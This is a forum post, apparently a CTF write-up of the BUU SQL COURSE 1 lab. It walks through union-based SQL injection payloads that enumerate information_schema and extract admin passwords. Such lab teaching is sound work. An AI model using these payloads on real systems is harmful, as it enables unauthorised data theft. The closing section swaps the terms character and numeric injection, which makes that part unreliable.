SQL注入常见利用方式(实战 BUU SQL COURSE 1)

打印 上一主题 下一主题

主题 1032|帖子 1032|积分 3096

一、SQL语句基础知识

创建数据库:
  1. create database test1;
复制代码
查看数据库:
  1. show databases;
复制代码
利用数据库:
  1. use test1;
复制代码
二、SQL注入实战

CTF题目:BUU SQL COURSE 1
打开靶机,通过按下F12,点击测试新闻1,找到了隐藏url,存在get哀求传参。

于是,我们就可以在id=1后面进行注入。
1.利用联合查询 union select 探测注入点

(1)方法1
通过输入:
  1. -1 union select 1; #
复制代码
回显如下:

无回显,那就尝试注入不同的列数,看网页是否有不同的回显。
由于union select要求联合的前后哀求列数必须相等,才会出结果。
  1. id=-1 union select 1,2; #
复制代码

有回显,分析列数为2。
(2)方法2
  1. id=1 order by 2#
复制代码

2.探测目标数据库名、表名、字段名、内容

由于information_schema这个库是mysql的四个基本系统库之一,它存储了mysql的库名、表名、字段名等信息。
table_schema:数据库_表名
tables:表名
schema_name :查询这个字段,回显某个数据库的库名
table_name:查询这个字段,回显某个表的表名
通过前面的联合查询语句id=-1 union select 1,2; #
可知,控制联合查询1,2任意一个位置为回显位,即可带回数据。
(1)获取当前数据库的版本:
  1. id=-1 union select 1,version();#
复制代码
得到回显:

(2)获取当前毗连数据库名称:
  1. id=-1 union select 1,database();#
复制代码
得到回显:

(3)获取当前毗连用户:
  1. id=-1 union select 1,user();#
复制代码
得到回显:

(4)获取所有数据库列表:
  1. id=-1 union select 1,group_concat(schema_name) from information_schema.schemata;#
复制代码
得到回显:

(5)
方法一:
获取news数据库所有表名 (其他库我都试了,没flag,读者从这一步骤往后,可以每个库试一下)
如果,我们想看news库里有什么表,输入:
  1. id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='news';#
复制代码
得到回显:

(6)查询news数据库中 admin 表的字段名:
  1. id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema ='news' and table_name ='admin';#
复制代码
得到字段password (id和username字段在这道题中,我不须要):

(7)查询new库中admin表中的passsword字段值,拿到了登录密码:
  1. id=-1 union select 1,password from news.admin;#
复制代码

方法二:
从建立毗连的数据库中,查询数据库名、表名:
  1. id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
复制代码
得到回显:

从建立毗连的news数据库中,查询admin表的列名:
  1. id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
复制代码
得到回显:

从建立毗连的admin表查询password的值:
  1. id=-1 union select group_concat(username),group_concat(password) from admin
复制代码
得到回显:

最后一步就不演示了。
三、增补知识

怎样判断目标靶机是字符注入、照旧数字注入?1

(1)拿到一个网页,先进行字符注入
  1. id=1 order by 1#
复制代码
得到回显,分析是字符注入:

(2) 后进行数字注入
  1. id=1' order by 1#
复制代码
得到回显为空,不是数字注入:

四、参考文献


   

  • BUU SQL COURSE 1 ↩︎

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

老婆出轨

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表